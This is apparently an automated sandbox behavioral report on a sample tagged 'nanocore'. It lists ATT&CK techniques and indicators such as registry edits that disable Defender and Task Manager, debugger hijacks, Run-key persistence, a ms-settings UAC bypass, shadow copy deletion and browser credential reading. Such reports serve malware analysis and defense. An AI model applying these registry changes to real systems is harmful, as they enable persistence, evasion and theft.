nanocore | 5d5781177ca993c80e0b0c7ccbc914e969c567ec8eec92bac113d1493eeb4704

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	konkrete.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	konkrete.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	konkrete.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	konkrete.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4984	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	konkrete.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	konkrete.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	konkrete.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1312	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	konkrete.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	konkrete.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	konkrete.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2468	wscript.exe
2744	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	konkrete.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
768	sc.exe
4976	sc.exe
5404	sc.exe
6120	sc.exe
5032	sc.exe
4824	sc.exe
5708	sc.exe
2268	sc.exe
2796	sc.exe
2272	sc.exe
1980	sc.exe
2032	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
468	cmd.exe
4824	cmd.exe
2256	cmd.exe
5348	cmd.exe
1824	cmd.exe
616	cmd.exe
1144	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5492	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5460	NETSTAT.EXE
5500	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5680	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5952	vssadmin.exe
4588	vssadmin.exe
4324	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\WallpaperStyle = "2"	konkrete.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134301926533117476"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command	konkrete.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell	konkrete.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe"	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command\DelegateExecute	konkrete.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell	konkrete.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings	konkrete.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open	konkrete.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	konkrete.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\ms-settings\shell\open\command	konkrete.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	konkrete.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\konkrete.io_chrome.exe\" \"%1\""	konkrete.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4852	schtasks.exe
5040	schtasks.exe
1420	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5304	chrome.exe
5304	chrome.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
1316	WMIC.exe
1316	WMIC.exe
1316	WMIC.exe
1316	WMIC.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
3460	WMIC.exe
3460	WMIC.exe
3460	WMIC.exe
3460	WMIC.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
5312	WMIC.exe
5312	WMIC.exe
5312	WMIC.exe
5312	WMIC.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe
4300	konkrete.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4300	konkrete.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeIncreaseQuotaPrivilege	1316	WMIC.exe
Token: SeSecurityPrivilege	1316	WMIC.exe
Token: SeTakeOwnershipPrivilege	1316	WMIC.exe
Token: SeLoadDriverPrivilege	1316	WMIC.exe
Token: SeSystemProfilePrivilege	1316	WMIC.exe
Token: SeSystemtimePrivilege	1316	WMIC.exe
Token: SeProfSingleProcessPrivilege	1316	WMIC.exe
Token: SeIncBasePriorityPrivilege	1316	WMIC.exe
Token: SeCreatePagefilePrivilege	1316	WMIC.exe
Token: SeBackupPrivilege	1316	WMIC.exe
Token: SeRestorePrivilege	1316	WMIC.exe
Token: SeShutdownPrivilege	1316	WMIC.exe
Token: SeDebugPrivilege	1316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1316	WMIC.exe
Token: SeRemoteShutdownPrivilege	1316	WMIC.exe
Token: SeUndockPrivilege	1316	WMIC.exe
Token: SeManageVolumePrivilege	1316	WMIC.exe
Token: 33	1316	WMIC.exe
Token: 34	1316	WMIC.exe
Token: 35	1316	WMIC.exe
Token: 36	1316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1316	WMIC.exe
Token: SeSecurityPrivilege	1316	WMIC.exe
Token: SeTakeOwnershipPrivilege	1316	WMIC.exe
Token: SeLoadDriverPrivilege	1316	WMIC.exe
Token: SeSystemProfilePrivilege	1316	WMIC.exe
Token: SeSystemtimePrivilege	1316	WMIC.exe
Token: SeProfSingleProcessPrivilege	1316	WMIC.exe
Token: SeIncBasePriorityPrivilege	1316	WMIC.exe
Token: SeCreatePagefilePrivilege	1316	WMIC.exe
Token: SeBackupPrivilege	1316	WMIC.exe
Token: SeRestorePrivilege	1316	WMIC.exe
Token: SeShutdownPrivilege	1316	WMIC.exe
Token: SeDebugPrivilege	1316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1316	WMIC.exe
Token: SeRemoteShutdownPrivilege	1316	WMIC.exe
Token: SeUndockPrivilege	1316	WMIC.exe
Token: SeManageVolumePrivilege	1316	WMIC.exe
Token: 33	1316	WMIC.exe
Token: 34	1316	WMIC.exe
Token: 35	1316	WMIC.exe
Token: 36	1316	WMIC.exe
Token: SeBackupPrivilege	4484	vssvc.exe
Token: SeRestorePrivilege	4484	vssvc.exe
Token: SeAuditPrivilege	4484	vssvc.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeShutdownPrivilege	5304	chrome.exe
Token: SeCreatePagefilePrivilege	5304	chrome.exe
Token: SeIncreaseQuotaPrivilege	4884	powershell.exe
Token: SeSecurityPrivilege	4884	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe
5304	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4300	konkrete.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 5304	4300	konkrete.io_chrome.exe	89
PID 5304 wrote to memory of 3116	5304	chrome.exe	90
PID 4300 wrote to memory of 4884	4300	konkrete.io_chrome.exe	91
PID 4300 wrote to memory of 5032	4300	konkrete.io_chrome.exe	93
PID 5304 wrote to memory of 5004	5304	chrome.exe	96
PID 5304 wrote to memory of 5492	5304	chrome.exe	95
PID 5304 wrote to memory of 5004	5304	chrome.exe	96
PID 5304 wrote to memory of 4564	5304	chrome.exe	97
PID 5304 wrote to memory of 4564	5304	chrome.exe	97
PID 5304 wrote to memory of 5052	5304	chrome.exe	99
PID 5304 wrote to memory of 5448	5304	chrome.exe	100
PID 5304 wrote to memory of 5052	5304	chrome.exe	99
PID 5304 wrote to memory of 5448	5304	chrome.exe	100
PID 4300 wrote to memory of 4824	4300	konkrete.io_chrome.exe	146
PID 4300 wrote to memory of 5708	4300	konkrete.io_chrome.exe	103
PID 4300 wrote to memory of 2268	4300	konkrete.io_chrome.exe	105
PID 5304 wrote to memory of 3432	5304	chrome.exe	106
PID 5304 wrote to memory of 3432	5304	chrome.exe	106
PID 4300 wrote to memory of 2032	4300	konkrete.io_chrome.exe	108
PID 4300 wrote to memory of 2796	4300	konkrete.io_chrome.exe	110
PID 5304 wrote to memory of 4308	5304	chrome.exe	112
PID 5304 wrote to memory of 4308	5304	chrome.exe	112
PID 4300 wrote to memory of 768	4300	konkrete.io_chrome.exe	113
PID 4300 wrote to memory of 4976	4300	konkrete.io_chrome.exe	115
PID 4300 wrote to memory of 800	4300	konkrete.io_chrome.exe	117
PID 4300 wrote to memory of 2272	4300	konkrete.io_chrome.exe	118
PID 800 wrote to memory of 4228	800	fodhelper.exe	120
PID 4300 wrote to memory of 1980	4300	konkrete.io_chrome.exe	121
PID 4300 wrote to memory of 5952	4300	konkrete.io_chrome.exe	123
PID 4300 wrote to memory of 1316	4300	konkrete.io_chrome.exe	125
PID 4300 wrote to memory of 2468	4300	konkrete.io_chrome.exe	132
